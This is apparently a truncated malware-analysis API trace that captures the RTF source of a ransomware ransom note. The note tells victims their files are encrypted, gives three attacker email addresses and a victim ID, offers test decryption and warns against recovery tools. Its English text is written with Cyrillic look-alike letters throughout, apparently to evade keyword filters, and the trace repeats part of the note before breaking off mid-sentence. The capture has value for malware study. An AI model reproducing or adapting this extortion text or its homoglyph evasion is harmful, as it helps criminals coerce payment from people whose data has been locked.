h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1dae208, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t 